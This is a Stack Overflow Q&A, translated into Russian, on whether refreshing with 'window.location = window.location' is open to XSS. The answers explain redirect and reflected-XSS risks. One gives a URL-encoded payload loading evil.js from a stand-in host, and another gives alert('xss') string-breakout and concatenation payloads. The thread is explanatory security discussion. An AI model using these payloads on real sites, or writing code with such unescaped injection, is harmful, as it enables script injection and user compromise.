Является ли window.location = window.location восприимчивым к XSS

Этот вопрос касается кода window.location = window.location как метода обновления страницы и не касается перенаправлений/других переменных.

Мое понимание заключается в следующем:

window.location = window.location вызывает обновление страницы, так как браузер переходит к тому же месту, где уже находится пользователь.

Любое изменение этой переменной посредством манипулирования DOM приведет к перезагрузке/загрузке страницы злоумышленника, поэтому эти строки не смогут быть выполнены с измененным значением и поэтому не являются кандидатами для атак с использованием межсайтовых сценариев.

Это правильно?

Редактировать: я действительно спрашиваю, есть ли способ изменить window.location, не вызывая перезагрузки страницы, чтобы затем, когда будет сделан вызов window.location = window.location, браузер был отправлен в другое место.


person Milk    schedule 17.07.2016    source источник
comment
Что, если кто-то откроет консоль и наберет произвольный код javascript? Ваш сайт уязвим, если это так.   -  person Gogol    schedule 18.07.2016
comment
Если вы сделаете это window.location = window.location и страница перезагрузится... повторится то же самое... и вы войдете в бесконечный цикл.   -  person Al.G.    schedule 18.07.2016
comment
@Ал.Г. я думаю, достаточно безопасно предположить, что это не будет вызываться при загрузке страницы   -  person charlietfl    schedule 18.07.2016
comment
Да, это кажется правильным, но почему бы вам просто не использовать window.location.reload()?   -  person Bergi    schedule 18.07.2016
comment
Я почти уверен, что невозможно изменить window.location без полного контроля злоумышленника над вашей страницей.   -  person Bergi    schedule 19.07.2016
comment
@Bergi Хотите опубликовать это как ответ, чтобы я мог его принять? Нет, вы не можете - это вполне приемлемый ответ, я не уверен, почему никто не хочет говорить об этом в StackOverflow...   -  person Milk    schedule 19.07.2016
comment
@Milk Потому что это не тот вопрос, который вы задали ...   -  person Brad    schedule 19.07.2016
comment
Ваш ответ не ответил на вопрос, который я задал, @Brad ... Но спасибо, мы добрались до конца   -  person Milk    schedule 20.07.2016
comment
@Milk Я догадался, о чем ты спрашивал. Следующий вопрос, если вы предоставите полный контекст, это поможет кому-то понять, к чему вы клоните. Рад, что в итоге получил ответ.   -  person Brad    schedule 20.07.2016
comment
@Milk в этом сценарии можно использовать, используя конкатенацию строк, чтобы отложить назначение window.location до тех пор, пока полезная нагрузка не будет выполнена.   -  person cytinus    schedule 24.06.2020


Ответы (2)


Проблема не имеет ничего общего с window.location, а связана с тем, как вы обрабатываете произвольные данные, используемые в новом контексте.

Если вы берете входные данные из URL-адреса и используете его для создания нового URL-адреса для перенаправления, вы подвергаете себя проблемам. Возьмите классическую страницу перенаправления...

http://example.com/redirect?url=http%3A%2F%2Fsomethingevil

Если на странице есть JavaScript, который затем устанавливает window.location в значение параметра строки запроса url, тогда страница перейдет к http://somethingevil.

Основной способ реализации XSS — позволить параметрам строки запроса вводить данные на саму страницу. Например, у вас может быть страница с надписью «Привет, Брэд», где «Брэд» получен из параметра URL с именем name. Теперь предположим, что вместо этого злоумышленник устанавливает URL-адрес name=%3Cscript%20src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%22%3E%3C%2Fscript%3E. Если я просто вставлю значение name непосредственно на страницу, то мой скрипт evil.js будет работать на этой странице. Если вместо этого я правильно избегаю данных, то их можно использовать на странице, поскольку они будут интерпретироваться как текст.

person Brad    schedule 17.07.2016
comment
На самом деле я спрашиваю, есть ли способ изменить window.location, не вызывая перезагрузки страницы, чтобы затем, когда будет сделан вызов window.location = window.location, браузер был отправлен в другое место. - person Milk; 19.07.2016
comment
@Молоко, я не понимаю? Зачем вам это делать и какое отношение это имеет к XSS? - person Brad; 19.07.2016
comment
Рассматриваемая строка кода была обнаружена при сканировании безопасности как потенциальный эксплойт для межсайтового скриптинга посредством манипулирования DOM. Я не верил, что можно использовать эту линию таким образом. Таким образом вопрос. - person Milk; 19.07.2016
comment
О, я бы не стал слишком много читать об автоматическом сканировании. Нет, с этим проблем нет, если изначально их не было. - person Brad; 19.07.2016

Итак, если я правильно понимаю, о чем вы спрашивали, ни один из этих ответов не является правильным. Можно использовать window.location для выполнения xss. Похоже, препятствием, с которым вы столкнулись, был тот факт, что после выполнения строки window.location страница обновлялась и пропускала выполнение вашей полезной нагрузки. Я предполагаю, что вы каким-то образом можете ввести содержимое в строку справа от window.location, а ввод неправильно кодируется как строка JavaScript.

Например, если http://vulnerablewebsite/page?param=derp';alert('xss');var+a+%3d+' приводит к такому коду:

<script>
  window.location='derp';alert('xss');var a = '';
</script>

Вы можете просто использовать конкатенацию строк, чтобы отложить назначение window.location до тех пор, пока ваша полезная нагрузка не будет выполнена. Итак, что-то вроде:

http://vulnerablewebsite/page?param=derp'+%2B+alert('xss')+%2b+'

приведет к следующему коду, который выполняет вашу полезную нагрузку.

<script>
  window.location='derp' + alert('xss') + '';
</script>

Это действительно должно быть в безопасности StackExchange.

person cytinus    schedule 24.06.2020